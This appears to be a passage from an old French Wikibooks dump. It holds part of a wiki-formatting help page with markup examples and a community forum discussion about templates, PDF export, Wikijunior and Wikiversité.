internet suffit : http://www.nupedia.com.</pre></td> </tr> <tr><td colspan="2"> === Les images === </td></tr> <tr valign=top><td>'''Insérer une image :''' [[Image:wiki-exemple.png]]<br> Pour ajouter une image, vous devez d'abord la copier sur le serveur, ce qui suppose de vous connecter comme utilisateur identifié, vous pouvez alors accéder à la page de copie sur le serveur : http://fr.wikibooks.org/wiki/Special%3AUpload<br> <br> Il faut ensuite placer le lien de l'image dans votre article.<br> NE FAITES PAS de liens externes vers des fichiers se trouvant sur un serveur dont vous ne contrôlez pas le contenu ! Pour l'accessibilité des mal-voyants, il est conseillé d'ajouter le "nom de l'image", ceci permet au lecteur vocal ou à la tablette braille de fournir un descriptif parlant, là où il y a une image. Voir [[w:fr:Wikipédia:Règles d'utilisation des images]] pour de plus amples informations à ce sujet. </td> <td> <pre><nowiki>[[Image:wiki-exemple.png]]</nowiki></pre> ou <br> <pre><nowiki>[[Image:wiki-exemple.png|nom de l'image]]</nowiki></pre></td> </tr> <tr> <td>'''Faire "flotter" une image'''<br><br> <div style="float:left">[[Image:wiki-exemple.png]]<br>''logo''</div> Quand une image n'occupe pas la largeur de la page, il peut être agréable de la placer à gauche et que le texte s'écrive le long de celle-ci du coté droit.<br> Pour cela, il vous suffit de recopier le code ci-contre à l'endroit où vous souhaitez voir l'image et de remplacer les parties en italique par le lien vers l'image et par la légende de l'image.<br><br> Si vous souhaitez l'image du coté droit, remplacer ''left'' par ''right''<br> </td> <td> <tt>&lt;div style="float:left">&#91;&#91;Image:<i>nom-image.png</i>&#93;&#93;&lt;br>''<i>Légende</i>''&lt;/div><br> Quand une image n'occupe pas la largeur de la page ... </tt> </td> </tr> </table> == Mise en forme des caractères == <table border=1> <tr valign=top><td>''Faire ressortir un mot'', '''un peu plus''', '''''encore plus'''''.<br> A utiliser également dans les formules : '''F''' = ''m'' '''a'''.</td> <td><pre>&#39;&#39;Faire ressortir un mot&#39;&#39;, &#39;&#39;&#39;un peu plus&#39;&#39;&#39;, &#39;&#39;&#39;&#39;&#39;encore plus&#39;&#39;&#39;&#39;&#39;. &#39;&#39;&#39;F&#39;&#39;&#39; = &#39;&#39;m&#39;&#39; &#39;&#39;&#39;a&#39;&#39;&#39;.</pre></td> </tr> <tr> <td><font size=+1 color=red>Polices amusantes</font><br> Mais <code>== ... ==</code> est plus approprié pour séparer des sections.</td> <td><pre>&lt;font size="+2" color="red"&gt;Polices amusantes&lt;/font&gt;</pre></td> </tr> <tr valign=top> <td>Police machine à écrire pour les <tt>termes techniques</tt>.</td> <td><pre>&lt;tt&gt;termes techniques&lt;/tt&gt;</pre></td> </tr> <tr valign=top><td>Vous pouvez <strike>barrer</strike> certains mots<br> et <u>en souligner d'autres...</u>. Pratique ...</td> <td><pre>Vous pouvez &lt;strike&gt;barrer&lt;/strike&gt; certains mots et &lt;u&gt;en souligner d'autres...&lt;/u&gt;</pre></td> </tr> <tr valign=top><td>Umlauts et accents: (cf [[w:fr:Wikipedia:Caractères spéciaux]] et [[w:en:Wikipedia:Special_characters Wiki special characters]] (en anglais)<br> &Agrave; &Aacute; &Acirc; &Atilde; &Auml; &Aring; &AElig; <br> &Ccedil; &Egrave; &Eacute; &Ecirc; &Euml; &Igrave; &Iacute; &lt;br> &Icirc; &Iuml; &Ntilde; &Ograve; &Oacute; &Ocirc; &Otilde; &OElig;<br> &Ouml; &Oslash; &Ugrave; &Uacute; &Ucirc; &Uuml; &szlig; <br> &agrave; &aacute; &acirc; &atilde; &auml; &aring; &aelig; <br> &ccedil; &egrave; &eacute; &ecirc; &euml; &igrave; &iacute; <br> &icirc; &iuml; &ntilde; &ograve; &oacute; &ocirc; &otilde; &oelig;<br> &ouml; &oslash; &ugrave; &uacute; &ucirc; &uuml; &yuml;<br> Note: on peut aussi parfaitement écrire les caractères spéciaux directement sans aucun souci. </td> <td><pre> &amp;Agrave; &amp;Aacute; &amp;Acirc; &amp;Atilde; &amp;Auml; &amp;Aring; &amp;AElig; &amp;Ccedil; &amp;Egrave; &amp;Eacute; &amp;Ecirc; &amp;Euml; &amp;Igrave; &amp;Iacute; &amp;Icirc; &amp;Iuml; &amp;Ntilde; &amp;Ograve; &amp;Oacute; &amp;Ocirc; &amp;Otilde; &amp;OElig; &amp;Ouml; &amp;Oslash; &amp;Ugrave; &amp;Uacute; &amp;Ucirc; &amp;Uuml; &amp;szlig; &amp;agrave; &amp;aacute; &amp;acirc; &amp;atilde; &amp;auml; &amp;aring; &amp;aelig; &amp;ccedil; &amp;egrave; &amp;eacute; &amp;ecirc; &amp;euml; &amp;igrave; &amp;iacute; &amp;icirc; &amp;iuml; &amp;ntilde; &amp;ograve; &amp;oacute; &amp;ocirc; &amp;otilde; &amp;oelig; &amp;ouml; &amp;oslash; &amp;ugrave; &amp;uacute; &amp;ucirc; &amp;uuml; &amp;yuml;</pre></td> </tr> <tr valign=top><td>Ponctuations : &iquest; &iexcl; &laquo; &raquo; &sect; &para;<br> &dagger; &Dagger; &bull; </td> <td><pre>&amp;iquest; &amp;iexcl; &amp;laquo; &amp;raquo; &amp;sect; &amp;para; &amp;dagger; &amp;Dagger; &amp;bull; </pre></td> </tr> <tr valign=top><td>Caractères spéciaux : &trade; &copy; &reg; &cent; &euro; &yen; &pound; &curren; </td> <td><pre>&amp;trade; &amp;copy; &amp;reg; &amp;cent; &amp;euro; &amp;yen; &amp;pound; &amp;curren; </pre></td> </tr> <tr valign=top><td>Subscript: x<sub>2</sub> Superscript: x<sup>2</sup></td> <td><pre>Subscript: x&lt;sub&gt;2&lt;/sub&gt; Superscript: x&lt;sup&gt;2&lt;/sup&gt;</pre></td> </tr> <tr valign=top><td>Caractères grecs : &alpha; &beta; &gamma; &delta; &epsilon; &zeta; &eta;<br> &theta; &iota; &kappa; &lambda; &mu; &nu; &xi; <br> &pi; &rho; &sigma; &sigmaf; &tau; &upsilon; &phi;<br> &chi; &psi; &omega; <br> &Gamma; &Delta; &Theta; &Lambda; &Xi; &Pi; &Sigma; <br> &Phi; &Psi; &Omega; </td> <td><pre>&amp;alpha; &amp;beta; &amp;gamma; &amp;delta; &amp;epsilon; &amp;zeta; &amp;eta; &amp;theta; &amp;iota; &amp;kappa; &amp;lambda; &amp;mu; &amp;nu; &amp;xi; &amp;pi; &amp;rho; &amp;sigma; &amp;sigmaf; &amp;tau; &amp;upsilon; &amp;phi; &amp;chi; &amp;psi; &amp;omega; &amp;Gamma; &amp;Delta; &amp;Theta; &amp;Lambda; &amp;Xi; &amp;Pi; &amp;Sigma; &amp;Phi; &amp;Psi; &amp;Omega; </pre></td> </tr> <tr valign=top><td>Caractères mathématiques: ( cf [[w:fr:Wikipedia:Caractères spéciaux]]. &int; &sum; &prod; &radic; &plusmn; &infin; <br> &asymp; &prop; &equiv; &ne; &le; &ge; &rarr; <br> &times; &middot; &divide; &part; &prime; &Prime; &nabla; <br> &permil; &deg; &there4; &alefsym;<br> &oslash; &isin; &ni; &cap; &cup; &sub; &sup; &sube; &supe;<br> &not; &and; &or; &exist; &forall; &rArr; &hArr; </td> <td valign=center><pre>&amp;int; &amp;sum; &amp;prod; &amp;radic; &amp;plusmn; &amp;infin; &amp;asymp; &amp;prop; &amp;equiv; &amp;ne; &amp;le; &amp;ge; &amp;rarr; &amp;times; &amp;middot; &amp;divide; &amp;part; &amp;prime; &amp;Prime; &amp;nabla; &amp;permil; &amp;deg; &amp;there4; &amp;alefsym; &amp;oslash; &amp;isin; &amp;ni; &amp;cap; &amp;cup; &amp;sub; &amp;sup; &amp;sube; &amp;supe; &amp;not; &amp;and; &amp;or; &amp;exist; &amp;forall; &amp;rArr; &amp;hArr;</pre></td> </tr> <tr valign=top><td>Plus d'espace que d'habitude, sans saut de ligne : x<sup>2</sup>&nbsp;&nbsp;&nbsp;&ge;&nbsp;&nbsp;&nbsp;0 est vrai.<br> Utile pour les formules. </td> <td><pre>;x<sup>2</sup>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;ge;&amp;nbsp;&amp;nbsp;&amp;nbsp;0 </pre></td> </tr> <tr> <td>Ascii art (Commencer chaque ligne par un blanc):<br> &infin; -x<sup>2</sup> &int; e dx = &radic;&pi; -&infin; Malgré tout, la racine carrée est très moche.</td> <td><pre> &amp;infin; -x<sup>2</sup> &amp;int; e dx = &amp;radic;&amp;pi; -&amp;infin;</pre></td> </tr> <tr> <td>Formules mathématiques compliquées:<br> &nbsp;&nbsp;<math>\sum_{n=0}^\infty \frac{x^n}{n!}</math> * Voir [[w:fr:Wikipédia:Formules TeX]] </td> <td><pre><nowiki> <math>\sum_{n=0}^\infty \frac{x^n}{n!}</math> </nowiki></pre> </td> </tr> <tr> <td>Suppression de l'interpretation du ''markup'':<br> <nowiki>Lien &rarr; (<i>vers</i>) la [[Wikilivres:Foire Aux Questions]]</nowiki> * Est utilisé pour montrer littéralement des données qui autrement auraient une signification spéciale. * Tous les ''markup'' wiki sont ignorés, y compris ceux ressemblant à des tags HTML. * Les charactères HTML spéciaux sont toujours interprétés. </td> <td> <pre><nowiki><nowiki>Lien &rarr; (<i>vers</i>) la [[Wikilivres:Foire Aux Questions]]</nowiki></nowiki></pre> </td> </tr> </table> == Tableaux == <table border=1> <caption>Un exemple de tableau</caption> <tr> <th>Premier en-tête</th> <th>Deuxième en-tête</th> <th>Troisième en-tête</th> </tr> <tr> <td>Haut gauche</td> <td>Haut milieu</td> <td rowspan=2>Coté droit</td> </tr> <tr> <td>Bas gauche</td> <td>Bas milieu</td> </tr> <tr> <td colspan=3 align=center>ligne du bas</td> </tr> </table> <pre> &lt;table border=1&gt; &lt;caption&gt;Un exemple de tableau&lt;/caption&gt; &lt;tr&gt; &lt;th&gt;Premier en-tête&lt;/th&gt; &lt;th&gt;Deuxième en-tête&lt;/th&gt; &lt;th&gt;Troisième en-tête&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Haut gauche&lt;/td&gt; &lt;td&gt;Haut milieu&lt;/td&gt; &lt;td rowspan=2>Coté droit&amp&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Bas gauche&lt;/td&gt; &lt;td&gt;Bas milieu&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan=3 align=center&gt;ligne du bas&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </pre> '''Voir également''' [[meta:Wikipedia_DTD]] == Commentaire == Attention, les commentaires dans les articles sont '''strictement''' reservés à la maintenance de la page. Les commentaires sur le contenu de l'article sont à mettre dans la page discussion attachée à l'article en question. <nowiki><!-- Note : Cette page est en cours de rédaction, veuillez patienter avant de l'éditer. --></nowiki> == Identification dans les pages de discussion == <table border=1> <tr> <td> Seulement le pseudonyme:<br> [[User:Anthere|Anthere]] </td> <td> <nowiki>~~~ (3 tildes)</nowiki> </td> </tr> <tr> <td> Pseudonyme et date:<br> [[User:Anthere|Anthere]] 22:33, 14 Nov 2003 (UTC) </td> <td> <nowiki>~~~~ (4 tildes)</nowiki> </td> </tr> </table> Wikilivres:Conventions de dénomination 26 24204 2005-10-24T21:44:43Z Epommate 705 ''Le contenu de cette page est actuellement en cours de discussion sur : [[Wikilivres:Prise de décision/Conventions de nommage]]'' ''< Retour [[Accueil]] < [[Wikilivres:Bienvenue|Bienvenue]] < [[Wikilivres:Comment modifier une page|Comment modifier une page]]'' Afin d'élaborer plusieurs livres en même temps, et d'éviter que ce projet devienne une encyclopédie, il est conseillé de dénommer les pages de la façon suivante: NomDuLivre_NomDuChapitre_NomDeLaRubrique_NomDeLaSection par exemple ProgrammationEnPerl_FondementsDePerl_ExpressionsEtOpérateurs_OpérateursDeBase C'est long mais précis... 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Pour un dialogue informel, rejoignez le canal IRC #wikibooks-fr sur le serveur irc.freenode.net. '''[http://fr.wikibooks.org/w/wiki.phtml?title=Wikilivres:Le_Bistro&amp;action=edit&amp;section=new Ajouter un nouveau message]'''. ==Modèles== Où trouver la liste de tous les modèles (EnTravaux, EnCours, etc...) ? ''par couard anonyme''. :Les modèles existant se trouvent à peu près tous dans : [[Wikilivres:modèles]] ou depuis [[w:wikipédia:modèles|modèles]]. [[Utilisateur:Greudin|Greudin]] == une exportation en pdf == Serait-il possible d'ajouter une exportation pdf pour les livres? Le principe de ce site est de mettre les connaissances à portée de tous... et ceux qui n'ont pas internet? il serait interressant de pouvoir imprimer entièrement les livres, d'où le format pdf qui est facilement géré par PHP. ceci est juste un petit conseil et en aucun cas une critique, j'ai beaucoup trop de respect pour ce que vous faites. :En effet ce serait un plus de pouvoir créer des ebooks à lire sur pocketpc. Les développeurs y ont sûrement déjà pensé à cette option. [[Utilisateur:Zulul|Zulul]] 25 novembre 2005 à 22:50 (UTC) ::J'avais posé la question [[w:Wikipédia:Guilde des Guides#Document à partir d'un article de Wikipédia|ici]] et j'ai eu le lien [[w:en:Wikipedia:WikiReader#WikiReader_Resources|suivant (en)]] par [[w:Utilisateur:Korg|Korg]]. Je n'ai pas eu le temps de tester les outils et de creuser l'affaire ... Avis à ceux qui ont un peu de temps ! Je suis plus qu'interessé. J'en ferai d'ailleur peut-être une page francophone quand j'aurai testé et si elle est pas faite avant ! ;) --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 4 janvier 2006 à 14:03 (UTC) :Tiens ça me fait penser, '''pour générer une page en PDF''', il est toujours possible d'utiliser [[w:PDFCreator]]... --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 25 janvier 2006 à 16:23 (UTC) == Les deux premiers bureaucrates sont là == Bonjour, après une [[m:Requests for permissions|requête sur meta]] suite au vote sur [[wikilivres:bureaucrate]] [[utilisateur:Guillaumito|Guillaumito]] et moi ([[utilisateur:Greudin|Greudin]]) sommes bureaucrates en plus d'être [[Wikilivres:Administrateur|concierges]]. Conséquence ; [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] est aussi devenu concierge suite à son élection datant de septembre. [[Utilisateur:Greudin|Greudin]] 19 novembre 2005 à 20:10 (UTC) :Félicitations à tous. Et je les renouvelle pour la bonne tenue du bistro local ;D Ça faisait une éternité que je n'étais passé par ici. C'est bien, il y a de l'activité. [[Utilisateur:Alvaro|Alvaro]] 1 décembre 2005 à 18:13 (UTC) == I need help for the catalan Wikibooks == Hello. I'm sorry I don't speak french. Several weeks ago, we decided in the catalan wikibooks changing the name of the site to "Viquillibres". The problem is we can't find the way to making real this change of name. Could you tell me how you changed the name of your site to Wikilivres? [http://ca.wikibooks.org/wiki/Usuari:Arturo_Reina Arturo Reina] :Dont know the issue, some clues : $wgMetaNamespace in the file LanguageCa.php maybe. [[Utilisateur:Greudin|Greudin]] == Wikilivres - Wikiversité == Bonjour, j'ai du mal à comprendre clairement la différence entre Wikilivres et Wikiversité. Le 1er a vocation a produire des supports pédagogiques alors que le second produit des cours. Comment les deux projets doivents-ils s'articuler ? [[Utilisateur:Marmotte|Marmotte]] 11 décembre 2005 à 10:23 (UTC) :La wikiversité francophone est embryonnaire, mais on peut voir wikilivres comme la bibliothèque de la wikiversité. [[Utilisateur:Greudin|Greudin]] == Livre d'humour == Salut tout le monde, je viens de créer le [[livre d'humour]] (enfin une page ébauchée), afin d'accueillir notamment un chapitre (ou peut-être un livre s'il devient suffisament conséquent) sur les [[contrepèterie]]s. je dis bien '''sur''' les contrepèteries et non '''de''' contrepèteries… En effet, un simple recueil n'a pas sa place ici (le sort réservé au ''[[:en:Jokebook]]'' anglais est parlant, il est sévèrement menacé d'effacement). Par contre, on peut accuillir des contrepèteries pour peu qu'on les présente de manière intelligente, structurée, pédagogique : j'ai commencer par identifier les types auxquels se rattachent ces contrepèteries, que l'on peut agrémenter d'exemples. [[w:Wikipédia:Pages à supprimer/Recueil de contrepèteriesWikipédia est en train de virer sa propre liste]], et j'ai sauvegardée celle-ci dans la page [[Livre d'humour/Liste de contrepèteries]], que je pense provisoire. Le mieux serait d'en faire une sélection, afin de ne garder que le plus ilustratif. J'espère que l'objectif de ce livre d'humour vous parait acceptable ;) En tout cas, il faut essayer de bien rester dans l'esprit Wikilivres. - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 16 décembre 2005 à 18:28 (UTC) : Enfin ! On va pouvoir décaler les sons ! [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 16 décembre 2005 à 19:00 (UTC) :: Afin d'avoir un coin du son ? [[Utilisateur:Moez|Moez]] 20 décembre 2005 à 18:49 (UTC) ::: Arretez, ça me brouille l'écoute ! :Très important ce livre pour les fêtes ;) [[Utilisateur:Greudin|Greudin]] 19 décembre 2005 à 09:33 (UTC) :: Surtout dans les Landes, où l'on aime la fête autant que la chasse ! [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 20 décembre 2005 à 23:46 (UTC) :::Ca me rappelle une chanson des Inconnus "....et la Bardot, si elle veut me confisquer mes douilles, faudrait d'abord qu'elle me ..." ^^ [[Utilisateur:Greudin|Greudin]] 20 décembre 2005 à 23:58 (UTC) Les mécaniciens ont appris depuis longtemps à se méfier des douilles coûteuses et des fausses graisses. [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 23 décembre 2005 à 22:35 (UTC) == Boite déroulante == Bonjour à tous et plus spécialement aux spécialistes du monobook. Je cherche à créer sur wikibook le modèle de [[w:modèle:boîte déroulante|boite déroulante]] qui serait utile pour mettre les solutions des exercices du livre en création [[Exercices de mathématiques]]. Seulement le modèle ne semble pas s'exporter. J'ai posé la question sur wikipedia dans la guilde des guides et voici la réponse que j'en ai reçue. : (réponse obtenue sur la guilde des guides) :(J'ai pas le temps de confirmer dans l'immédiat, mais je crois me souvenir qu'il faut modifier le ''monobook.js'' correspondant à [[MediaWiki]] (le logiciel) (donc pas le monobook.js correspondant à l'utilisateur). Je donnerai la/les pages un peu plus tard si la réponse n'est pas donnée avant... :) --[[w:Utilisateur:Boly38|Boly]] [[w:Discussion_Utilisateur:Boly38|♪]] 22 décembre 2005 à 10:41 (CET) :Peut-être copier les pages [[w:MediaWiki:Monobook.js]] et [[w:MediaWiki:Monobook.css]] de wikipédia vers les pages correspondantes sur Wikibook. Ceci dit, il faut avoir les droits de modifier ces pages :) Si on avais confirmation qu'il s'agît bien de cette solution, il faudrait l'ajouter dans la documentation : [[m:Aide:Manuel de MediaWiki|Un manuel en français en cours de réalisation]] (si absent) :) --[[w:Utilisateur:Boly38|Boly]] [[w:Discussion_Utilisateur:Boly38|♪]] 22 décembre 2005 à 11:12 (CET) Comme ce langage m'échappe complètement, j'espère qu'une bonne âme trouvera la solution au problème. Merci. [[Utilisateur:HB|HB]] 23 décembre 2005 à 21:31 (UTC) :Importé les deux fichiers depuis l'encyclopédie, cela a rajouté de nouvelles fonctions, j'espère qu'il n'y aura pas d'effets de bords car j'ai à peine survolé sans trop comprendre la feuille de style et le javascript. Par contre la boîte déroulante semble fonctionner. [[Utilisateur:Greudin|Greudin]] 23 décembre 2005 à 23:19 (UTC) :: Quelle efficacité ! Merci beaucoup. Le modèle [[modèle:boîte déroulante]] est créé. Il reste à l'archiver je ne sais où. [[Utilisateur:HB|HB]] 24 décembre 2005 à 10:16 (UTC) {{Fait}} Archivé sur [[meta:Aide:Personnalisation/Boîte déroulante]] --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 17 janvier 2006 à 14:56 (UTC) ==Divagation théorique (popularité de wikilivres)== J'ai une théorie sur le manque de wikilivres : les auteurs de livres ont un ego sur dimensionné, wikibooks cache les signatures et autorise n'importe qui à modifier, ainsi les auteurs de livres ne feront pas de wikilivres. C'était juste pour rendre hommage aux auteurs actuels que j'envie par leur talent d'écriture : [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] et ... [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]]. [[Utilisateur:Greudin|Greudin]] :: Ouabaïne ! Comme diraient les contrepèteries folles : l'ego de Milan, c'est vraiment branché ! [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 27 décembre 2005 à 16:25 (UTC) :Et si on rajoutait une page ''auteurs principaux'' aux livres où chaque auteur pourrait se présenter ? Cela inciterait peut-être les personnes à rédiger des livres ? (bien sur cela n'entrerais pas dans les règles de Wikipédia, mais ... on est pas sur Wikipédia) [[Utilisateur:Epommate|Epommate]] 24 février 2006 à 22:31 (UTC) == Nouveau -> question == Je suis tout nouveau sur wikilivres. Je venais de me rendre compte que je n'avais pas encore de compte. Le responsable de ma venue, c'est [[utilisateur:Greudin]] qui m'y a pernicieusement invité en posant des mines dans le bistro de wikipedia. Enfin bon, je voulais juste poser une question. J'étais sur wikilivres sans vraiment m'en rendre compte ; parce que vraiment je suis pas observateur, c'est évident ; mais aussi parceque l'icône associée à l'adresse est celui de wikipedia : le fameux ''Fav Icon''. Pourquoi ? [[Utilisateur:Kelson|Kelson]] 29 décembre 2005 à 15:15 (UTC) :Alors là, j'ignore ce que l'on peut faire, télécharger un icône favicon.ico... [[Utilisateur:Greudin|Greudin]] ::Je trouve aussi que ce serait très intéressant de le changer. C'est perturbant ! Je confirme, par défaut (pour Apache ?) c'est l'icône <code>favicon.ico</code>. Mais sinon on peut configurer cela dans la page même (sur MediaWiki je sais pas comment..) comme ceci : <pre> <link rel="shortcut icon" type="image/x-icon" href="/monfichier/qu/il/est/beau.ico"/> <link rel="icon" type="image/x-icon" href="../monfichier/qu/il/est/beau.ico"/> </pre> ::--[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 6 janvier 2006 à 12:27 (UTC) :::Je viens aussi d'arriver, c'est vrai que c'est dommage. [[Utilisateur:GôTô|GôTô]] 24 mars 2006 à 11:57 (UTC) == [[Wikijunior]] == Bonjour, En tombant un peu par hasard sur Wikipédia sur l'article [[w:Wikijunior]], j'ai décidé d'ajouter un peu plus de traduction. Je me suis rendu-compte, déjà que le projet existait, et ensuite que c'était un projet sur wikilivre... Je vois aussi que [[Wikijunior|la version francophone]] est à l'état d'embryon ! (comparé à [[:en:Wikijunior|la version anglaise]]...) Les ''motivés'' du projet francophone sont passés où ? Peut-on m'en dire un peu plus ? Où en est ce projet pour le français ? Merci --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 2 janvier 2006 à 12:48 (UTC) :Wikilivres manque cruellement de bras, l'encyclo n'est pas finalisée mais peu de gens semble vouloir rédiger sous forme longue (et neutre) leurs connaissances et certains préfèrent tout accumuller dans l'encyclopédie aulieu de mettre des cours et des livres ici. Cela viendra mais pour l'instant visiblement peu s'interessent à rédiger collaborativement des livres pour enfants. [[Utilisateur:Greudin|Greudin]] ::Ok merci pour ta réponse Greudin. Peut-être manque-t-il encore trop la structure du projet pour que les gens contribuent... Je ne sais pas où's'qu'on démarre un tel projet (pas sur méta, mais ici), alors j'ai gribouillé [[Discuter:Wikijunior|la page de discussion de Wikijunior]]. Si une autre page existe déjà, merci de <small>vite, très vite</small> me l'indiquer ;) Bon j'y vais moi, à demain !:) --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 3 janvier 2006 à 18:29 (UTC) Bonjour, Ca avait bien commencé, le projet à bien avancé, mais il ne faut pas se relacher. Je vous propose de concentrer nos efforts sur le livre sur [[Wikijunior:Système solaire|le systeme solaire]].Vous avez bien quelque connaisances en astronomie! [[Utilisateur:Duarna|Duarna]] :Oui il faut que du monde aide :) :perso, et avant d'avoir lu ton intervention, j'avais emporté un PDF, celui sur les ''gros chats'' : je le traduis hors ligne :) (car j'ai des trous dans ma semaine où je suis loin d'une connexion ADSL ;) mais je pense aussi relire le système solaire quand j'aurai du temps. Aussi, n'hésitez pas à relire / corriger / compléter [[Wikijunior:Système solaire|le systeme solaire]], et [[Wikijunior:Les félins|les félins]]. :o) --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 8 janvier 2006 à 20:31 (UTC) Sur [[Wikijunior:Wikijunior]], je propose d'accepter les suggestions de titre pour remplacer '''Wikijunior''' jusque fin février 2006. Ensuite, si personne ne s'y oppose(à ma proposition), un vote aura lieu pour déterminer le nouveau titre. --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 9 janvier 2006 à 00:21 (UTC) ==(Wikiversité) Ressources libres== En attendant de retrouver la page qui recense les ressources libres, voici un lien concernant des cours (offerts librement par l'auteur : [[Utilisateur:Alavacrefi|Alavacrefi]]) concernant les [[sciences de l'éducation]]. *http://perso.wanadoo.fr/alava/ [[Utilisateur:Greudin|Greudin]] 2 janvier 2006 à 23:19 (UTC) == Règles Wikilivre == Rebonjoir ;) 1- J'ai feuilleté rapidement les prises de décision (exemple : [[Wikilivres:Prise de décision/Conventions de nommage]]), mais plus de message depuis novembre. Qu'en est-il donc ? Est-ce que quelqu'un d'habitué à wikilivre peut faire des retours sur l'organisation du livre [[Wikijunior:Les félins]], pour savoir si je procède bien ? si non pourquoi.. 2- Existe-t-il une page qui liste les projets de wikilivres ? J'en vois déjà 3 : [[Wikiversité]], [[Wikijunior]], [[Projet:Charte pédagogique]]. On pourrait faire la page [[Wikijunior:Projets]] par exemple ? ou bien sur [[Wikilivres:Accueil]], on remplace la section ''Wikiversité'' par une section ''Les projets''... Merci --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 8 janvier 2006 à 21:54 (UTC) :Concernant 1-, la tendance semble aller vers barre oblique (slash) et/ou espace de nom (toto:), àmha l'organisation du livre [[Wikijunior:Les félins]] est la bonne (wikijunior:titre du livre/chapitre x). Pour le 2-, [[Wikilivres:Accueil]] a besoin d'un nettoyage, ''be bold'' ;) [[Utilisateur:Greudin|Greudin]] ::Si <s>tu veux</s> vous voulez, je refais le même style que la page d'[[Accueil]] et [[Wikijunior]] ? C'est pas super compliqué, et je trouve que çà découpe bien... Par contre, peut-être vaut-il mieux un autre code couleur pour la page communautaire..je sais pas --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 9 janvier 2006 à 12:38 (UTC) :::Je trouve ça génial, c'est deux gros projets à part entière, un pour les adultes l'autre pour les enfants ou les débutants en français. [[Utilisateur:Greudin|Greudin]] ==Projet/Portail Wikilivres== Bonjour, je vous annonce la création d'un modèle pour faire des sous-sections (comme sur [[Wikijunior]]). J'attends vos remarques éventuelles. À noter que la page [[Wikilivres:Modèles]] a été renseignée. L'[[Wikilivres:Accueil|accueil communautaire]] peut, par exemple, être modifié plus facilement avec ce type de présentation :) --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 11 janvier 2006 à 13:42 (UTC) == Rangement des Wikilivres:Liste de tous les livres == Bonjour les anciens, Adepte et spécialisé dans le cinéma des années 30 sur Wikipédia, je découvre Wikibooks. Premier réflexe ..page accueil puis Wikilivres. Comme je suis nouveau sur Wikilivres et surtout loin de vos aptitudes et votre expérience (mais plein de bonnes volontés et de projets) quelques réflexions mais qui sont des critiques positives….. Je suis surpris, lors de ma première prise de connaissance du site, du flou de la page [[Wikilivres:Liste de tous les livres]] préjudiciable pour ma participation et mes contributions à venir...et certainement de beaucoup d’autres. Pourquoi ne pas mettre simplement les titres de chapitres, correspondants aux books seulement. Ex : [[Jardinage]] - [[Art]] - Cinéma - etc...et, en cliquant sur le lien, accéder aux sous-chapitres avec les différents choix recherchés... J’ai commencé à engager une littérature sur les jardins…mais il faudra beaucoup de temps et de photos pour le compléter.. Question : Les photos doivent-elles être comme pour Wikipédia, sur Wiki commons.. ? ? ? --[[Utilisateur:Zivax|&#39;&#39;&#39;&#39;&#39;Jean Claude&#39;&#39;&#39;&#39;&#39; &#91;&#91;Discussion Utilisateur:Zivax&#124;Zivax]]]] 12 janvier 2006 à 18:54 (UTC) : Wikilivres démarre et beaucoup reste à faire pour en faciliter l'utilisation pour ceux qui découvrent le site. Le mieux serait peut-être d'utiliser un plan de classement du type classification décimale universelle. Wikilivres est par ailleurs beaucoup mieux adapté que WP aux documents longs et surtout aux domaines où l'acquisition des connaisances doit se faire dans un ordre déterminé, comme c'est souvent le cas dans les matières scientifiques. Les photos doivent, conformément au bon sens, être chargées en priorité sur Commons. Amitiés et bienvenue à toi. [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 12 janvier 2006 à 19:47 (UTC) == Le concept de [[wikiversité]] == J'espère que ce post est au bon endroit. Une wikiversité est un endroit où on propose des formations, en général sur plusieurs années, permettant de se former dans un domaine donné. Elle doit comporter une partie théorique mais également une partie pratique permettant une insertion professionnelle aisée. Chaque wikimodule doit comporter des cours magistraux, des travaux dirigés, la possibilité de questions/réponses et des wiki-examens validant le wikimodule. Je me prend à rêver du jour où les wikimodules seront passés dans de vraies universités dans des conditions déontologiquement acceptables et seront reconnus dans la plupart des Universités au même titre que les autres modules. :Oui, cette vision est partagée notamment par le fondateur ([[w:Jimmy Wales|Jimmy Wales]]), j'ajouterais juste que c'est un formidable outil ouvert pour un travail collaboratif entre profs (titulaires ou non) et élèves. [[Utilisateur:Greudin|Greudin]] : d'accord pour cela, je suggère de prendre contact avec le CNAM à paris qui , je penses trouverais interressant de nous aider dans la dé&marche de mise en place de la wikiversité francophone [[Utilisateur:Wikiyannick|Wikiyannick]] :: Je pense qu'il faudrait * trouver des personnes capables de communiquer sur le concept wikiversité pour faire connaître la démarche auprès des enseignants susceptible de nous aider. Si des élèves avec une orientation école de commerce et/ou de communication peuvent aider wikiversité à communiquer ce serait super. Il faudrait que la wikiversité francophone se constitue un service communication. L'objectif est de convaincre des enseignants de nous aider ponctuellement en offrant des cours ou des feuilles d'exercices. * finir les wikibook commencés : pour le département info il faudrait avoir dans un premier temps un cours complet C++, Java et PHP et seulement ensuite on sera 